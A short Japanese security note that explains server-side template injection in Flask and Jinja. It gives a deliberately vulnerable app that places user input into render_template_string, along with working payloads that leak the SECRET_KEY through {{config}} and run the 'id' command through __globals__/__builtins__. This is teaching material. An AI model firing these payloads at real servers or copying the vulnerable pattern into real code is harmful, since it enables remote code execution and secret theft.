Server-Side Template Injection

ユーザーの入力をサーバーが描画するテンプレート自体に注入できてしまう脆弱性のこと

Remote Code ExecutionやLocal File Inclusionができることが多い

例

code:server.py

from flask import Flask, request, render_template_string

app = Flask(__name__)

app.config"SECRET_KEY" = "THIS_IS_SECRET"

@app.get("/hello")

def hello():

name = request.args.get("name", "Noname")

return render_template_string("Hello " + name)

if __name__ == "__main__":

app.run()

/hello?name=hogeでHello hogeというレスポンスが返ってくる

描画するテンプレートにユーザーの入力(name)がそのまま反映されていることに注目する

/hello?name={{7*7}}にアクセスすると、Hello 49というレスポンスが返ってくる

{{と}}はFlaskで使っているテンプレートエンジンJinjaの構文

7*7が計算されてしまっている

/hello?name={{config}}にアクセスすると、以下のようなレスポンスが返ってくる

code:response

Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'THIS_IS_SECRET', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

Flaskのテンプレート内ではconfigにアクセスできる

SECRET_KEYの中身であるTHIS_IS_SECRETが漏洩してしまっている

/hello?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

code:response

Hello uid=1000(satoooon) gid=1000(satoooon) groups=1000(satoooon)

idコマンドが実行されてしまっている

テンプレート内では属性へのアクセスや関数の呼び出しもできるので、頑張ればRCEができる

__globals__などについてはpyjailを参照

テクニック

Python

pyjail

Flask固有